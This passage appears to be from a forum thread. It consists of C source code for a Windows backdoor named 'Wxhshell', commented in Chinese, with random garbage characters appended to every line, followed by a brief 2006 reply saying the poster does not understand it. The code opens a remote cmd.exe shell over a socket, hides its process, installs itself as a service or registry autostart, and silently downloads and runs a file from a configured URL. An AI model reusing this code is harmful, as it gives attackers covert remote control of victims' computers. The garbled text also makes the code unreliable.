    if(Boot(SHUTDOWN)) tgbr/eCoU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]h$,=Qf hD  
    else { q"[8u ]j  
    closesocket(wsh); Dj9).lgc  
    ExitThread(0); 8+ <vumnw  
    } e.|_=Gd2/  
    break; Sy<s/x^`  
    } 4W''j[Y/  
  // 获取shell ,,>b=r_r&  
  case 's': { *.DTcV  
    CmdShell(wsh); Lh5d2}tcO  
    closesocket(wsh); kWgZIkY  
    ExitThread(0); %CP:rAd`M.  
    break; \VX~'pkrd/  
  } w&7-:."1i  
  // 退出 8f<[Bu ze  
  case 'x': { uE6;;Ir#mF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WurpHOJt+  
    CloseIt(wsh); @ 0RB.-  
    break; zU9G: jH  
    } kG7q4jFwP  
  // 离开 C  +%&!Q  
  case 'q': { zU'\r~c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &&;ol}W  
    closesocket(wsh); ]' F{uDm[  
    WSACleanup(); 5Go&+|cvJ  
    exit(1); }bVWV0Aeim  
    break; ''f07R  
        } L@|W&N;%a  
  } XKU+'Tz  
  } qi\!<clv  
^vjN$JB  
  // 提示信息 R;_U BQ)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,rp-`E5ap  
} ,HxsU,xiG  
  } [~ sXjaL8  
:_q   
  return; ~iZMV ?w  
} btK| U  
# Pulbk8  
// shell模块句柄 @]#0jiS  
int CmdShell(SOCKET sock) vRLkz4z   
{ @JWoF^U  
STARTUPINFO si; aNpeePF)z  
ZeroMemory(&si,sizeof(si)); [*j C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _|S>, D'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "bRg_]\q6  
PROCESS_INFORMATION ProcessInfo; D@i,dPz5Zl  
char cmdline[]="cmd"; {P_~_5o_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >69+e+|I  
  return 0; $Wy7z^ t  
} an 3"y6.8  
@83h/Wcxd  
// 自身启动模式 uw@z1'D[i"  
int StartFromService(void) n2Oi< )  
{ HN\Zrb  
typedef struct &rX..l  
{ )K8k3]y&  
  DWORD ExitStatus; 5O Ob(  
  DWORD PebBaseAddress; 4-4lh TE(  
  DWORD AffinityMask; C^S?W=1=w  
  DWORD BasePriority; )*I=>v.Jq  
  ULONG UniqueProcessId; %6}S'yL  
  ULONG InheritedFromUniqueProcessId; mN^92@eebC  
}   PROCESS_BASIC_INFORMATION; {6v|d{V+e  
/vl]Oa&U  
PROCNTQSIP NtQueryInformationProcess; !<!sB)  
kSH3)CC P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b'^OW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ${#5$U+kI  
^j?\_r'j  
  HANDLE             hProcess; L!3AiAnr  
  PROCESS_BASIC_INFORMATION pbi; W>Y8 u8  
~pn9x;N%H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6y,M+{  
  if(NULL == hInst ) return 0; :z%vNKy1  
&+-ZXN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S<f&?\wK=v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w~EXO;L2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =z]&E 78Y  
K,[g<7X5  
  if (!NtQueryInformationProcess) return 0; 2*Uwp; 0  
O`O{n_o^u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aC>r5b#:  
  if(!hProcess) return 0; TRrO-  
Hw5\~!FX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0}qij  
 O+1 e  
  CloseHandle(hProcess); e| (jv<~r  
y UQ;tTI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4@|K^nT`  
if(hProcess==NULL) return 0; #lQbMuR  
xTX\% s|  
HMODULE hMod; * eL%[B  
char procName[255]; $"T1W=;j9  
unsigned long cbNeeded; p2PD';"  
[UquI "  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {a9Z<P  
??{(.`}R~  
  CloseHandle(hProcess); -8qLshQ  
9Ps:]Kp!vN  
if(strstr(procName,"services")) return 1; // 以服务启动 ]DdD FLM  
4x=rew>Ew  
  return 0; // 注册表启动 Mk= tS+  
} Hjli)*ev  
M|FwYF^  
// 主模块 +&tY&dQQB  
int StartWxhshell(LPSTR lpCmdLine) *9%<}z  
{ B_M)<Ad  
  SOCKET wsl; .G1NY1\  
BOOL val=TRUE; $Vbgfp~U-  
  int port=0; 673v  
  struct sockaddr_in door; _%!C;`3Y  
JGSeu =)  
  if(wscfg.ws_autoins) Install(); }nYm^Yh  
SY["(vP%#  
port=atoi(lpCmdLine); kmM_Af&  
+ H_Jr'/  
if(port<=0) port=wscfg.ws_port; 6}IOUWLB@  
8iD_md_[  
  WSADATA data; h$~ NPX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [X)+(-J  
bXc7$5(!VB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JGf6*D"O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <(?ahO5  
  door.sin_family = AF_INET; jt tlzCDn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <8!mmOK1  
  door.sin_port = htons(port); e>1^i;f  
q#I/N$F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C;wN>HE  
closesocket(wsl);  b#P ,  
return 1; IoJkM-^H&)  
} p{!aRB%  
-hL8z$}  
  if(listen(wsl,2) == INVALID_SOCKET) { v*QobI  
closesocket(wsl); z]Z>+|  
return 1; 1QE-[|  
} l},*^Sn<5  
  Wxhshell(wsl); Q <^'v>~n  
  WSACleanup(); b.h~QyI/W  
k$}XZ,Q  
return 0; O?D*<rwD  
,Zzh.z::D  
} %fh ,e5(LT  
*FR Eh@R  
// 以NT服务方式启动 ;%]Q%7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \ Yz>=rY  
{ 1]fqt[*)  
DWORD   status = 0; :cG_aO kid  
  DWORD   specificError = 0xfffffff; _+wou(1y  
CCp{ZH s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J^pL_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >AV-i$4eQ@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xv's52x  
  serviceStatus.dwWin32ExitCode     = 0; s}`ydwSg8  
  serviceStatus.dwServiceSpecificExitCode = 0; =nA;,9%  
  serviceStatus.dwCheckPoint       = 0; B!! xu  
  serviceStatus.dwWaitHint       = 0; ;Y j_@=   
}Nl-3I.S^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0fXdE ;M3  
  if (hServiceStatusHandle==0) return; f'aUo|^?  
"2 ma]Ps  
status = GetLastError(); R"!.|fH6  
  if (status!=NO_ERROR) +=|Q'V  
{ Z5[ t/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hBz~FB];&  
    serviceStatus.dwCheckPoint       = 0; j3P)cz-0/L  
    serviceStatus.dwWaitHint       = 0; er,R}v  
    serviceStatus.dwWin32ExitCode     = status; "Hg.pDNZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7w|W\J^7r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bb]pUb  
    return; ):+n!P  
  } qeBfE  
@?3u|m |Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (# eB %  
  serviceStatus.dwCheckPoint       = 0; so8isDC'9  
  serviceStatus.dwWaitHint       = 0; \UGs_5OT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ra2Xyl  
} +~  :1H.  
b,~4O~z  
// 处理NT服务事件,比如:启动、停止 BGodrb1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wP6~HiC  
{ +0.$w  
switch(fdwControl) bh6Mh< +  
{ g/mVd;#o  
case SERVICE_CONTROL_STOP: =JOupw  
  serviceStatus.dwWin32ExitCode = 0; q3VE\&*^F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OlRBv foh8  
  serviceStatus.dwCheckPoint   = 0; 7cr+a4T33  
  serviceStatus.dwWaitHint     = 0; T}$1<^NK  
  { tKo ^A:M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); un6grvxr  
  } C "<l}  
  return; }7g\1l\  
case SERVICE_CONTROL_PAUSE: P@lExF*D1:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0LrTYrlj  
  break; d&(GIH E&d  
case SERVICE_CONTROL_CONTINUE: X{9D fgW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (JocnM|U  
  break; VDx=Tsu-  
case SERVICE_CONTROL_INTERROGATE: nDkyo>t .  
  break; :upi2S_e  
}; \Z ] <L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:+#k-?  
} <3LyNG.  
?Re@`f+*  
// 标准应用程序主函数 vZTX3c:,1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s)_7*DY  
{ f /&Dy'OV7  
<)uUAh  
// 获取操作系统版本 hc"+6xc  
OsIsNt=GetOsVer(); H"WkyvqXb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]N:SB  
/$! / F@^  
  // 从命令行安装 6sRn_y  
  if(strpbrk(lpCmdLine,"iI")) Install(); gJ+MoAM"  
p=coOWOQ  
  // 下载执行文件 gv r "F  
if(wscfg.ws_downexe) { ,`^B!U3m   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DCPK1ql  
  WinExec(wscfg.ws_filenam,SW_HIDE); KCe =$  
} 3:PBVt=  
sI@m"A  
if(!OsIsNt) { ZQD_w#0j  
// 如果时win9x,隐藏进程并且设置为注册表启动 }wC pr.@  
HideProc(); T3@wNAAU  
StartWxhshell(lpCmdLine); $`i$/FE  
} YS{])+s  
else e/r41  
  if(StartFromService()) W7WHH \L/O  
  // 以服务方式启动 oR[,?qu@f  
  StartServiceCtrlDispatcher(DispatchTable); ipQJn_:2  
else wlAlIvIT  
  // 普通方式启动 ,LSF@1|Fx  
  StartWxhshell(lpCmdLine); y/$WjFj3"  
!qV{OXdrB  
return 0; gLsl/G  
}
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只看该作者 1 发表于: 2006-08-21
说实话啊````` y/{&mo1\  
不懂````
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